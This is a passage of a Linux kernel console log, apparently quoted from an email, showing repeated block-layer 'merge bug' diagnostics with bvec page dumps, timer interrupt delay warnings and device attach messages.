            1: 0 4096 242546 000000007e2c4700                            =
      =20
            2: 0 4096 242547 000000007e2c4700                            =
      =20
            3: 0 4096 242548 000000007e2c4700                            =
      =20
            4: 0 4096 242549 000000007e2c4700                            =
      =20
            5: 0 4096 242550 000000007e2c4700                            =
      =20
            6: 0 4096 242551 000000007e2c4700                            =
      =20
            7: 0 4096 242552 000000007e2c4700                            =
      =20
            8: 0 4096 242553 000000007e2c4700                            =
      =20
            9: 0 4096 242554 000000007e2c4700                            =
      =20
           10: 0 4096 242555 000000007e2c4700                            =
      =20
           11: 0 4096 242556 000000007e2c4700                            =
      =20
           12: 0 4096 242557 000000007e2c4700                            =
      =20
           13: 0 4096 242558 000000007e2c4700                            =
      =20
           14: 0 4096 242559 000000007e2c4700                            =
      =20
           15: 0 4096 242560 000000007e2c4700                            =
      =20
           16: 0 4096 242561 000000007e2c4700                            =
      =20
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 242481 000000007e700ac0                            =
      =20
            1: 0 4096 242482 000000007e700ac0                            =
      =20
            2: 0 4096 242483 000000007e700ac0                            =
      =20
            3: 0 4096 242484 000000007e700ac0                            =
      =20
            4: 0 4096 242485 000000007e700ac0                            =
      =20
            5: 0 4096 242486 000000007e700ac0                            =
      =20
            6: 0 4096 242487 000000007e700ac0                            =
      =20
            7: 0 4096 242488 000000007e700ac0                            =
      =20
            8: 0 4096 242489 000000007e700ac0                            =
      =20
            9: 0 4096 242490 000000007e700ac0                            =
      =20
           10: 0 4096 242491 000000007e700ac0                            =
      =20
           11: 0 4096 242492 000000007e700ac0                            =
      =20
           12: 0 4096 242493 000000007e700ac0                            =
      =20
           13: 0 4096 242494 000000007e700ac0                            =
      =20
           14: 0 4096 242495 000000007e700ac0                            =
      =20
           15: 0 4096 242496 000000007e700ac0                            =
      =20
           16: 0 4096 242497 000000007e700ac0                            =
      =20
           17: 0 4096 242498 000000007e700ac0                            =
      =20
           18: 0 4096 242499 000000007e700ac0                            =
      =20
           19: 0 4096 242500 000000007e700ac0                            =
      =20
           20: 0 4096 242501 000000007e700ac0                            =
      =20
           21: 0 4096 242502 000000007e700ac0                            =
      =20
           22: 0 4096 242503 000000007e700ac0                            =
      =20
           23: 0 4096 242507 000000007e700ac0                            =
      =20
           24: 0 4096 242508 000000007e700ac0                            =
      =20
           25: 0 4096 242509 000000007e700ac0                            =
      =20
           26: 0 4096 242510 000000007e700ac0                            =
      =20
           27: 0 4096 242511 000000007e700ac0                            =
      =20
           28: 0 4096 242512 000000007e700ac0                            =
      =20
           29: 0 4096 242513 000000007e700ac0                            =
      =20
           30: 0 4096 242514 000000007e700ac0                            =
      =20
           31: 0 4096 242515 000000007e700ac0                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 56B7580F rem 4E7CF1  next/now =
24A902C214
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 242571 000000007e700ac0                            =
      =20
            1: 0 4096 242572 000000007e700ac0                            =
      =20
            2: 0 4096 242573 000000007e700ac0                            =
      =20
            3: 0 4096 242574 000000007e700ac0                            =
      =20
            4: 0 4096 242575 000000007e700ac0                            =
      =20
            5: 0 4096 242576 000000007e700ac0                            =
      =20
            6: 0 4096 242577 000000007e700ac0                            =
      =20
            7: 0 4096 241079 000000007e700ac0                            =
      =20
            8: 0 4096 241080 000000007e700ac0                            =
      =20
            9: 0 4096 241081 000000007e700ac0                            =
      =20
           10: 0 4096 241082 000000007e700ac0                            =
      =20
           11: 0 4096 241083 000000007e700ac0                            =
      =20
           12: 0 4096 241084 000000007e700ac0                            =
      =20
           13: 0 4096 241085 000000007e700ac0                            =
      =20
           14: 0 4096 241086 000000007e700ac0                            =
      =20
           15: 0 4096 241087 000000007e700ac0                            =
      =20
           16: 0 4096 241088 000000007e700ac0                            =
      =20
           17: 0 4096 241089 000000007e700ac0                            =
      =20
           18: 0 4096 241090 000000007e700ac0                            =
      =20
           19: 0 4096 241091 000000007e700ac0                            =
      =20
           20: 0 4096 241092 000000007e700ac0                            =
      =20
           21: 0 4096 241093 000000007e700ac0                            =
      =20
           22: 0 4096 241094 000000007e700ac0                            =
      =20
           23: 0 4096 241095 000000007e700ac0                            =
      =20
           24: 0 4096 241096 000000007e700ac0                            =
      =20
           25: 0 4096 241097 000000007e700ac0                            =
      =20
           26: 0 4096 241098 000000007e700ac0                            =
      =20
           27: 0 4096 241099 000000007e700ac0                            =
      =20
           28: 0 4096 241100 000000007e700ac0                            =
      =20
           29: 0 4096 241101 000000007e700ac0                            =
      =20
           30: 0 4096 241102 000000007e700ac0                            =
      =20
           31: 0 4096 241103 000000007e700ac0                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 56EFF7C1 rem 15DD3F  next/now =
25062EA171
[....] Waiting for /dev to be fully populated...sd 3:0:0:0: Attached =
scsi gener0
sr 5:0:0:0: Attached scsi generic sg1 type 5                             =
      =20
sd 6:0:0:0: Attached scsi generic sg2 type 0                             =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e53c1e8(f:24490000, t:1)              =
      =20
            0: 0 4096 241280 000000007e56bac0                            =
      =20
            1: 0 4096 241281 000000007e56bac0                            =
      =20
            2: 0 4096 241282 000000007e56bac0                            =
      =20
            3: 0 4096 241283 000000007e56bac0                            =
      =20
            4: 0 4096 241284 000000007e56bac0                            =
      =20
            5: 0 4096 241285 000000007e56bac0                            =
      =20
            6: 0 4096 241286 000000007e56bac0                            =
      =20
            7: 0 4096 241287 000000007e56bac0                            =
      =20
            8: 0 4096 241288 000000007e56bac0                            =
      =20
            9: 0 4096 241289 000000007e56bac0                            =
      =20
           10: 0 4096 241290 000000007e56bac0                            =
      =20
           11: 0 4096 241291 000000007e56bac0                            =
      =20
           12: 0 4096 241292 000000007e56bac0                            =
      =20
           13: 0 4096 241293 000000007e56bac0                            =
      =20
           14: 0 4096 241294 000000007e56bac0                            =
      =20
           15: 0 4096 241295 000000007e56bac0                            =
      =20
           16: 0 4096 241296 000000007e56bac0                            =
      =20
           17: 0 4096 241297 000000007e56bac0                            =
      =20
           18: 0 4096 241298 000000007e56bac0                            =
      =20
           19: 0 4096 241299 000000007e56bac0                            =
      =20
           20: 0 4096 241300 000000007e56bac0                            =
      =20
           21: 0 4096 241301 000000007e56bac0                            =
      =20
           22: 0 4096 241302 000000007e56bac0                            =
      =20
           23: 0 4096 241303 000000007e56bac0                            =
      =20
           24: 0 4096 241304 000000007e56bac0                            =
      =20
           25: 0 4096 241305 000000007e56bac0                            =
      =20
           26: 0 4096 241306 000000007e56bac0                            =
      =20
           27: 0 4096 241307 000000007e56bac0                            =
      =20
           28: 0 4096 241308 000000007e56bac0                            =
      =20
           29: 0 4096 241309 000000007e56bac0                            =
      =20
           30: 0 4096 241310 000000007e56bac0                            =
      =20
           31: 0 4096 241311 000000007e56bac0                            =
      =20
sd 6:0:2:0: Attached scsi generic sg3 type 0                             =
      =20
e1000: eth0 NIC Link is Up 100 Mbps Full Duplex, Flow Control: RX/TX     =
      =20
blk_rq_map_sg: merge bug: 6 5, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e290e40(f:24490000, t:1)              =
      =20
            0: 0 4096 257264 000000007e231580                            =
      =20
            1: 0 4096 257265 000000007e231580                            =
      =20
            2: 0 4096 257266 000000007e231580                            =
      =20
            3: 0 4096 257267 000000007e231580                            =
      =20
            4: 0 4096 246916 000000007e231580                            =
      =20
            5: 0 4096 246917 000000007e231580                            =
      =20
            6: 0 4096 246918 000000007e231580                            =
      =20
            7: 0 4096 246919 000000007e231580                            =
      =20
            8: 0 4096 257252 000000007e231580                            =
      =20
            9: 0 4096 257253 000000007e231580                            =
      =20
           10: 0 4096 257254 000000007e231580                            =
      =20
           11: 0 4096 257255 000000007e231580                            =
      =20
           12: 0 4096 248704 000000007e231580                            =
      =20
           13: 0 4096 248705 000000007e231580                            =
      =20
           14: 0 4096 248706 000000007e231580                            =
      =20
           15: 0 4096 248707 000000007e231580                            =
      =20
           16: 0 4096 248708 000000007e231580                            =
      =20
           17: 0 4096 248709 000000007e231580                            =
      =20
           18: 0 4096 248710 000000007e231580                            =
      =20
           19: 0 4096 248711 000000007e231580                            =
      =20
           20: 0 4096 248712 000000007e231580                            =
      =20
           21: 0 4096 248713 000000007e231580                            =
      =20
           22: 0 4096 248714 000000007e231580                            =
      =20
           23: 0 4096 248715 000000007e231580                            =
      =20
           24: 0 4096 248716 000000007e231580                            =
      =20
           25: 0 4096 248717 000000007e231580                            =
      =20
           26: 0 4096 248718 000000007e231580                            =
      =20
           27: 0 4096 248719 000000007e231580                            =
      =20
           28: 0 4096 248720 000000007e231580                            =
      =20
           29: 0 4096 248721 000000007e231580                            =
      =20
           30: 0 4096 248722 000000007e231580                            =
      =20
           31: 0 4096 248723 000000007e231580                            =
      =20
           32: 0 4096 248724 000000007e231580                            =
      =20
           33: 0 4096 248725 000000007e231580                            =
      =20
           34: 0 4096 248726 000000007e231580                            =
      =20
           35: 0 4096 248727 000000007e231580                            =
      =20
           36: 0 4096 248728 000000007e231580                            =
      =20
           37: 0 4096 248729 000000007e231580                            =
      =20
           38: 0 4096 248730 000000007e231580                            =
      =20
           39: 0 4096 248731 000000007e231580                            =
      =20
           40: 0 4096 248732 000000007e231580                            =
      =20
           41: 0 4096 248733 000000007e231580                            =
      =20
           42: 0 4096 248734 000000007e231580                            =
      =20
           43: 0 4096 248735 000000007e231580                            =
      =20
           44: 0 4096 254592 000000007e231580                            =
      =20
           45: 0 4096 254593 000000007e231580                            =
      =20
           46: 0 4096 254594 000000007e231580                            =
      =20
           47: 0 4096 254595 000000007e231580                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 7EB7A101 rem 3D977F  next/now =
2616632296
blk_rq_map_sg: merge bug: 4 3, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e290a38(f:24490000, t:1)              =
      =20
            0: 0 4096 250268 000000007e231340                            =
      =20
            1: 0 4096 250269 000000007e231340                            =
      =20
            2: 0 4096 250270 000000007e231340                            =
      =20
            3: 0 4096 250271 000000007e231340                            =
      =20
            4: 0 4096 250272 000000007e231340                            =
      =20
            5: 0 4096 250273 000000007e231340                            =
      =20
            6: 0 4096 250274 000000007e231340                            =
      =20
            7: 0 4096 250275 000000007e231340                            =
      =20
            8: 0 4096 250276 000000007e231340                            =
      =20
            9: 0 4096 250277 000000007e231340                            =
      =20
           10: 0 4096 250278 000000007e231340                            =
      =20
           11: 0 4096 250279 000000007e231340                            =
      =20
           12: 0 4096 250280 000000007e231340                            =
      =20
           13: 0 4096 250281 000000007e231340                            =
      =20
           14: 0 4096 250282 000000007e231340                            =
      =20
           15: 0 4096 250283 000000007e231340                            =
      =20
           16: 0 4096 250284 000000007e231340                            =
      =20
           17: 0 4096 250285 000000007e231340                            =
      =20
           18: 0 4096 250286 000000007e231340                            =
      =20
           19: 0 4096 250287 000000007e231340                            =
      =20
           20: 0 4096 250290 000000007e231340                            =
      =20
           21: 0 4096 250291 000000007e231340                            =
      =20
           22: 0 4096 250292 000000007e231340                            =
      =20
           23: 0 4096 250293 000000007e231340                            =
      =20
           24: 0 4096 250294 000000007e231340                            =
      =20
           25: 0 4096 250295 000000007e231340                            =
      =20
           26: 0 4096 250296 000000007e231340                            =
      =20
           27: 0 4096 250297 000000007e231340                            =
      =20
           28: 0 4096 250298 000000007e231340                            =
      =20
           29: 0 4096 250299 000000007e231340                            =
      =20
           30: 0 4096 250300 000000007e231340                            =
      =20
           31: 0 4096 250301 000000007e231340                            =
      =20
           32: 0 4096 250302 000000007e231340                            =
      =20
           33: 0 4096 250303 000000007e231340                            =
      =20
           34: 0 4096 253184 000000007e231340                            =
      =20
           35: 0 4096 253185 000000007e231340                            =
      =20
           36: 0 4096 253186 000000007e231340                            =
      =20
           37: 0 4096 253187 000000007e231340                            =
      =20
           38: 0 4096 253188 000000007e231340                            =
      =20
           39: 0 4096 253189 000000007e231340                            =
      =20
           40: 0 4096 253190 000000007e231340                            =
      =20
           41: 0 4096 253191 000000007e231340                            =
      =20
           42: 0 4096 253192 000000007e231340                            =
      =20
           43: 0 4096 253193 000000007e231340                            =
      =20
           44: 0 4096 253194 000000007e231340                            =
      =20
           45: 0 4096 253195 000000007e231340                            =
      =20
           46: 0 4096 253196 000000007e231340                            =
      =20
           47: 0 4096 253197 000000007e231340                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 7E469613 rem 160BED  next/now =
269D17FF98
blk_rq_map_sg: merge bug: 5 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6050(f:24490000, t:1)              =
      =20
            0: 0 4096 248714 000000007e743280                            =
      =20
            1: 0 4096 248715 000000007e743280                            =
      =20
            2: 0 4096 248716 000000007e743280                            =
      =20
            3: 0 4096 248717 000000007e743280                            =
      =20
            4: 0 4096 248718 000000007e743280                            =
      =20
            5: 0 4096 248719 000000007e743280                            =
      =20
            6: 0 4096 248720 000000007e743280                            =
      =20
            7: 0 4096 248721 000000007e743280                            =
      =20
            8: 0 4096 248722 000000007e743280                            =
      =20
            9: 0 4096 248723 000000007e743280                            =
      =20
           10: 0 4096 248724 000000007e743280                            =
      =20
           11: 0 4096 248725 000000007e743280                            =
      =20
           12: 0 4096 248726 000000007e743280                            =
      =20
           13: 0 4096 248727 000000007e743280                            =
      =20
           14: 0 4096 248728 000000007e743280                            =
      =20
           15: 0 4096 248729 000000007e743280                            =
      =20
           16: 0 4096 248730 000000007e743280                            =
      =20
           17: 0 4096 248731 000000007e743280                            =
      =20
           18: 0 4096 248732 000000007e743280                            =
      =20
           19: 0 4096 248733 000000007e743280                            =
      =20
           20: 0 4096 248734 000000007e743280                            =
      =20
           21: 0 4096 248735 000000007e743280                            =
      =20
           22: 0 4096 245952 000000007e743280                            =
      =20
           23: 0 4096 245953 000000007e743280                            =
      =20
           24: 0 4096 245954 000000007e743280                            =
      =20
           25: 0 4096 245955 000000007e743280                            =
      =20
           26: 0 4096 245956 000000007e743280                            =
      =20
           27: 0 4096 245957 000000007e743280                            =
      =20
           28: 0 4096 245958 000000007e743280                            =
      =20
           29: 0 4096 245959 000000007e743280                            =
      =20
           30: 0 4096 245960 000000007e743280                            =
      =20
           31: 0 4096 245961 000000007e743280                            =
      =20
           32: 0 4096 245962 000000007e743280                            =
      =20
           33: 0 4096 245963 000000007e743280                            =
      =20
           34: 0 4096 245964 000000007e743280                            =
      =20
           35: 0 4096 245965 000000007e743280                            =
      =20
           36: 0 4096 245966 000000007e743280                            =
      =20
           37: 0 4096 245967 000000007e743280                            =
      =20
           38: 0 4096 245968 000000007e743280                            =
      =20
           39: 0 4096 245969 000000007e743280                            =
      =20
           40: 0 4096 245970 000000007e743280                            =
      =20
           41: 0 4096 245971 000000007e743280                            =
      =20
           42: 0 4096 245972 000000007e743280                            =
      =20
           43: 0 4096 245973 000000007e743280                            =
      =20
           44: 0 4096 245974 000000007e743280                            =
      =20
           45: 0 4096 245975 000000007e743280                            =
      =20
           46: 0 4096 245976 000000007e743280                            =
      =20
           47: 0 4096 245977 000000007e743280                            =
      =20
           48: 0 4096 245978 000000007e743280                            =
      =20
           49: 0 4096 245979 000000007e743280                            =
      =20
           50: 0 4096 245980 000000007e743280                            =
      =20
           51: 0 4096 245981 000000007e743280                            =
      =20
           52: 0 4096 245982 000000007e743280                            =
      =20
           53: 0 4096 245983 000000007e743280                            =
      =20
           54: 0 4096 245984 000000007e743280                            =
      =20
           55: 0 4096 245985 000000007e743280                            =
      =20
           56: 0 4096 245986 000000007e743280                            =
      =20
           57: 0 4096 245987 000000007e743280                            =
      =20
           58: 0 4096 245988 000000007e743280                            =
      =20
           59: 0 4096 245989 000000007e743280                            =
      =20
           60: 0 4096 245990 000000007e743280                            =
      =20
           61: 0 4096 245991 000000007e743280                            =
      =20
           62: 0 4096 245992 000000007e743280                            =
      =20
           63: 0 4096 245993 000000007e743280                            =
      =20
timer_interrupt(CPU 3): delayed! cycles A6A14EFD rem 434D03  next/now =
27573F94FD
blk_rq_map_sg: merge bug: 4 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6458(f:24490000, t:1)              =
      =20
            0: 0 4096 246013 000000007e231280                            =
      =20
            1: 0 4096 246014 000000007e231280                            =
      =20
            2: 0 4096 246015 000000007e231280                            =
      =20
            3: 0 4096 246848 000000007e231280                            =
      =20
            4: 0 4096 246849 000000007e231280                            =
      =20
            5: 0 4096 246850 000000007e231280                            =
      =20
            6: 0 4096 246851 000000007e231280                            =
      =20
            7: 0 4096 246852 000000007e231280                            =
      =20
            8: 0 4096 246853 000000007e231280                            =
      =20
            9: 0 4096 246854 000000007e231280                            =
      =20
           10: 0 4096 246855 000000007e231280                            =
      =20
           11: 0 4096 246856 000000007e231280                            =
      =20
           12: 0 4096 246857 000000007e231280                            =
      =20
           13: 0 4096 246858 000000007e231280                            =
      =20
           14: 0 4096 246859 000000007e231280                            =
      =20
           15: 0 4096 246860 000000007e231280                            =
      =20
           16: 0 4096 246861 000000007e231280                            =
      =20
           17: 0 4096 246862 000000007e231280                            =
      =20
           18: 0 4096 246863 000000007e231280                            =
      =20
           19: 0 4096 246864 000000007e231280                            =
      =20
           20: 0 4096 246865 000000007e231280                            =
      =20
           21: 0 4096 246866 000000007e231280                            =
      =20
           22: 0 4096 246867 000000007e231280                            =
      =20
           23: 0 4096 246868 000000007e231280                            =
      =20
           24: 0 4096 246869 000000007e231280                            =
      =20
           25: 0 4096 246870 000000007e231280                            =
      =20
           26: 0 4096 246871 000000007e231280                            =
      =20
           27: 0 4096 246872 000000007e231280                            =
      =20
           28: 0 4096 246873 000000007e231280                            =
      =20
           29: 0 4096 246874 000000007e231280                            =
      =20
           30: 0 4096 246875 000000007e231280                            =
      =20
           31: 0 4096 246876 000000007e231280                            =
      =20
           32: 0 4096 246877 000000007e231280                            =
      =20
           33: 0 4096 246878 000000007e231280                            =
      =20
           34: 0 4096 246879 000000007e231280                            =
      =20
           35: 0 4096 246880 000000007e231280                            =
      =20
           36: 0 4096 246881 000000007e231280                            =
      =20
           37: 0 4096 246882 000000007e231280                            =
      =20
           38: 0 4096 246883 000000007e231280                            =
      =20
           39: 0 4096 246884 000000007e231280                            =
      =20
           40: 0 4096 246885 000000007e231280                            =
      =20
           41: 0 4096 246886 000000007e231280                            =
      =20
           42: 0 4096 246887 000000007e231280                            =
      =20
           43: 0 4096 246888 000000007e231280                            =
      =20
           44: 0 4096 246889 000000007e231280                            =
      =20
           45: 0 4096 246890 000000007e231280                            =
      =20
           46: 0 4096 246891 000000007e231280                            =
      =20
           47: 0 4096 246892 000000007e231280                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 7E958E64 rem 5FAA1C  next/now =
27DEF57599
blk_rq_map_sg: merge bug: 22 21, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007e53c1e8(f:24490000, t:1)              =
      =20
            0: 0 4096 248749 000000007e231dc0                            =
      =20
            1: 0 4096 255178 000000007e231dc0                            =
      =20
            2: 0 4096 255860 000000007e231dc0                            =
      =20
            3: 0 4096 246099 000000007e231dc0                            =
      =20
            4: 0 4096 258298 000000007e231dc0                            =
      =20
            5: 0 4096 254586 000000007e231dc0                            =
      =20
            6: 0 4096 254485 000000007e231dc0                            =
      =20
            7: 0 4096 253278 000000007e231dc0                            =
      =20
            8: 0 4096 258256 000000007e231dc0                            =
      =20
            9: 0 4096 254158 000000007e231dc0                            =
      =20
           10: 0 4096 258378 000000007e231dc0                            =
      =20
           11: 0 4096 246010 000000007e231dc0                            =
      =20
           12: 0 4096 246011 000000007e231dc0                            =
      =20
           13: 0 4096 246009 000000007e231dc0                            =
      =20
           14: 0 4096 246008 000000007e231dc0                            =
      =20
           15: 0 4096 246007 000000007e231dc0                            =
      =20
           16: 0 4096 246006 000000007e231dc0                            =
      =20
           17: 0 4096 246005 000000007e231dc0                            =
      =20
           18: 0 4096 246004 000000007e231dc0                            =
      =20
           19: 0 4096 246003 000000007e231dc0                            =
      =20
           20: 0 4096 253438 000000007e231dc0                            =
      =20
           21: 0 4096 253439 000000007e231dc0                            =
      =20
           22: 0 4096 250112 000000007e231dc0                            =
      =20
           23: 0 4096 250113 000000007e231dc0                            =
      =20
           24: 0 4096 250114 000000007e231dc0                            =
      =20
           25: 0 4096 250115 000000007e231dc0                            =
      =20
           26: 0 4096 250116 000000007e231dc0                            =
      =20
           27: 0 4096 250117 000000007e231dc0                            =
      =20
           28: 0 4096 250118 000000007e231dc0                            =
      =20
           29: 0 4096 250119 000000007e231dc0                            =
      =20
           30: 0 4096 250120 000000007e231dc0                            =
      =20
           31: 0 4096 250121 000000007e231dc0                            =
      =20
           32: 0 4096 250122 000000007e231dc0                            =
      =20
           33: 0 4096 250123 000000007e231dc0                            =
      =20
           34: 0 4096 250124 000000007e231dc0                            =
      =20
           35: 0 4096 250125 000000007e231dc0                            =
      =20
           36: 0 4096 250126 000000007e231dc0                            =
      =20
           37: 0 4096 250127 000000007e231dc0                            =
      =20
           38: 0 4096 250128 000000007e231dc0                            =
      =20
           39: 0 4096 250129 000000007e231dc0                            =
      =20
           40: 0 4096 250130 000000007e231dc0                            =
      =20
           41: 0 4096 250131 000000007e231dc0                            =
      =20
           42: 0 4096 250132 000000007e231dc0                            =
      =20
           43: 0 4096 250133 000000007e231dc0                            =
      =20
           44: 0 4096 250134 000000007e231dc0                            =
      =20
           45: 0 4096 250135 000000007e231dc0                            =
      =20
           46: 0 4096 250136 000000007e231dc0                            =
      =20
           47: 0 4096 250137 000000007e231dc0                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 7EAD517D rem 47E703  next/now =
286517F712
blk_rq_map_sg: merge bug: 14 12, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007e6e6458(f:24490000, t:1)              =
      =20
            0: 0 4096 246893 000000007e231280                            =
      =20
            1: 0 4096 246894 000000007e231280                            =
      =20
            2: 0 4096 246895 000000007e231280                            =
      =20
            3: 0 4096 246896 000000007e231280                            =
      =20
            4: 0 4096 246897 000000007e231280                            =
      =20
            5: 0 4096 246898 000000007e231280                            =
      =20
            6: 0 4096 246899 000000007e231280                            =
      =20
            7: 0 4096 246900 000000007e231280                            =
      =20
            8: 0 4096 246901 000000007e231280                            =
      =20
            9: 0 4096 255478 000000007e231280                            =
      =20
           10: 0 4096 254757 000000007e231280                            =
      =20
           11: 0 4096 247536 000000007e231280                            =
      =20
           12: 0 4096 253991 000000007e231280                            =
      =20
           13: 0 4096 250365 000000007e231280                            =
      =20
           14: 0 4096 254751 000000007e231280                            =
      =20
           15: 0 4096 248750 000000007e231280                            =
      =20
           16: 0 4096 250242 000000007e231280                            =
      =20
           17: 0 4096 253347 000000007e231280                            =
      =20
           18: 0 4096 246908 000000007e231280                            =
      =20
           19: 0 4096 246909 000000007e231280                            =
      =20
           20: 0 4096 246910 000000007e231280                            =
      =20
           21: 0 4096 246911 000000007e231280                            =
      =20
           22: 0 4096 253348 000000007e231280                            =
      =20
           23: 0 4096 253349 000000007e231280                            =
      =20
           24: 0 4096 253350 000000007e231280                            =
      =20
           25: 0 4096 253351 000000007e231280                            =
      =20
           26: 0 4096 253352 000000007e231280                            =
      =20
           27: 0 4096 253353 000000007e231280                            =
      =20
           28: 0 4096 253354 000000007e231280                            =
      =20
           29: 0 4096 253355 000000007e231280                            =
      =20
           30: 0 4096 253356 000000007e231280                            =
      =20
           31: 0 4096 253357 000000007e231280                            =
      =20
           32: 0 4096 253358 000000007e231280                            =
      =20
           33: 0 4096 253359 000000007e231280                            =
      =20
           34: 0 4096 253360 000000007e231280                            =
      =20
           35: 0 4096 253361 000000007e231280                            =
      =20
           36: 0 4096 253362 000000007e231280                            =
      =20
           37: 0 4096 253363 000000007e231280                            =
      =20
           38: 0 4096 253364 000000007e231280                            =
      =20
           39: 0 4096 253365 000000007e231280                            =
      =20
           40: 0 4096 253366 000000007e231280                            =
      =20
           41: 0 4096 253367 000000007e231280                            =
      =20
           42: 0 4096 253368 000000007e231280                            =
      =20
           43: 0 4096 253369 000000007e231280                            =
      =20
           44: 0 4096 253370 000000007e231280                            =
      =20
           45: 0 4096 253371 000000007e231280                            =
      =20
           46: 0 4096 253372 000000007e231280                            =
      =20
           47: 0 4096 253373 000000007e231280                            =
      =20
           48: 0 4096 253374 000000007e231280                            =
      =20
           49: 0 4096 253375 000000007e231280                            =
      =20
           50: 0 4096 253376 000000007e231280                            =
      =20
           51: 0 4096 253377 000000007e231280                            =
      =20
           52: 0 4096 253378 000000007e231280                            =
      =20
           53: 0 4096 253379 000000007e231280                            =
      =20
           54: 0 4096 253380 000000007e231280                            =
      =20
           55: 0 4096 253381 000000007e231280                            =
      =20
           56: 0 4096 253382 000000007e231280                            =
      =20
           57: 0 4096 253383 000000007e231280                            =
      =20
           58: 0 4096 253384 000000007e231280                            =
      =20
           59: 0 4096 253385 000000007e231280                            =
      =20
           60: 0 4096 253386 000000007e231280                            =
      =20
           61: 0 4096 253387 000000007e231280                            =
      =20
           62: 0 4096 253388 000000007e231280                            =
      =20
           63: 0 4096 253389 000000007e231280                            =
      =20
timer_interrupt(CPU 3): delayed! cycles A63614F2 rem 15F08E  next/now =
2916487FF2
blk_rq_map_sg: merge bug: 8 6, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e53cb50(f:24490000, t:1)              =
      =20
            0: 0 4096 253319 000000007e231a00                            =
      =20
            1: 0 4096 253320 000000007e231a00                            =
      =20
            2: 0 4096 253321 000000007e231a00                            =
      =20
            3: 0 4096 253322 000000007e231a00                            =
      =20
            4: 0 4096 253323 000000007e231a00                            =
      =20
            5: 0 4096 250139 000000007e231a00                            =
      =20
            6: 0 4096 250140 000000007e231a00                            =
      =20
            7: 0 4096 250141 000000007e231a00                            =
      =20
            8: 0 4096 246904 000000007e231a00                            =
      =20
            9: 0 4096 246905 000000007e231a00                            =
      =20
           10: 0 4096 246906 000000007e231a00                            =
      =20
           11: 0 4096 246907 000000007e231a00                            =
      =20
           12: 0 4096 250144 000000007e231a00                            =
      =20
           13: 0 4096 250145 000000007e231a00                            =
      =20
           14: 0 4096 250146 000000007e231a00                            =
      =20
           15: 0 4096 250147 000000007e231a00                            =
      =20
           16: 0 4096 250252 000000007e231a00                            =
      =20
           17: 0 4096 250253 000000007e231a00                            =
      =20
           18: 0 4096 250254 000000007e231a00                            =
      =20
           19: 0 4096 250255 000000007e231a00                            =
      =20
           20: 0 4096 250176 000000007e231a00                            =
      =20
           21: 0 4096 250177 000000007e231a00                            =
      =20
           22: 0 4096 250178 000000007e231a00                            =
      =20
           23: 0 4096 250179 000000007e231a00                            =
      =20
           24: 0 4096 250180 000000007e231a00                            =
      =20
           25: 0 4096 250181 000000007e231a00                            =
      =20
           26: 0 4096 250182 000000007e231a00                            =
      =20
           27: 0 4096 250183 000000007e231a00                            =
      =20
           28: 0 4096 250184 000000007e231a00                            =
      =20
           29: 0 4096 250185 000000007e231a00                            =
      =20
           30: 0 4096 250186 000000007e231a00                            =
      =20
           31: 0 4096 250187 000000007e231a00                            =
      =20
           32: 0 4096 250188 000000007e231a00                            =
      =20
           33: 0 4096 250189 000000007e231a00                            =
      =20
           34: 0 4096 250190 000000007e231a00                            =
      =20
           35: 0 4096 250191 000000007e231a00                            =
      =20
           36: 0 4096 250192 000000007e231a00                            =
      =20
           37: 0 4096 250193 000000007e231a00                            =
      =20
           38: 0 4096 250194 000000007e231a00                            =
      =20
           39: 0 4096 250195 000000007e231a00                            =
      =20
           40: 0 4096 250196 000000007e231a00                            =
      =20
           41: 0 4096 250197 000000007e231a00                            =
      =20
           42: 0 4096 250198 000000007e231a00                            =
      =20
           43: 0 4096 250199 000000007e231a00                            =
      =20
           44: 0 4096 250200 000000007e231a00                            =
      =20
           45: 0 4096 250201 000000007e231a00                            =
      =20
           46: 0 4096 250202 000000007e231a00                            =
      =20
           47: 0 4096 250203 000000007e231a00                            =
      =20
           48: 0 4096 250204 000000007e231a00                            =
      =20
           49: 0 4096 250205 000000007e231a00                            =
      =20
           50: 0 4096 250206 000000007e231a00                            =
      =20
           51: 0 4096 250207 000000007e231a00                            =
      =20
           52: 0 4096 250208 000000007e231a00                            =
      =20
           53: 0 4096 250209 000000007e231a00                            =
      =20
           54: 0 4096 250210 000000007e231a00                            =
      =20
           55: 0 4096 250211 000000007e231a00                            =
      =20
           56: 0 4096 250212 000000007e231a00                            =
      =20
           57: 0 4096 250213 000000007e231a00                            =
      =20
           58: 0 4096 250214 000000007e231a00                            =
      =20
           59: 0 4096 250215 000000007e231a00                            =
      =20
           60: 0 4096 250216 000000007e231a00                            =
      =20
           61: 0 4096 250217 000000007e231a00                            =
      =20
           62: 0 4096 250218 000000007e231a00                            =
      =20
           63: 0 4096 250219 000000007e231a00                            =
      =20
timer_interrupt(CPU 0): delayed! cycles A6183B68 rem 33CA18  next/now =
29C5F3FF1D
blk_rq_map_sg: merge bug: 5 4, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e53c498(f:24490000, t:1)              =
      =20
            0: 0 4096 253235 000000007e6e7b80                            =
      =20
            1: 0 4096 253236 000000007e6e7b80                            =
      =20
            2: 0 4096 253237 000000007e6e7b80                            =
      =20
            3: 0 4096 253238 000000007e6e7b80                            =
      =20
            4: 0 4096 253239 000000007e6e7b80                            =
      =20
            5: 0 4096 253240 000000007e6e7b80                            =
      =20
            6: 0 4096 253241 000000007e6e7b80                            =
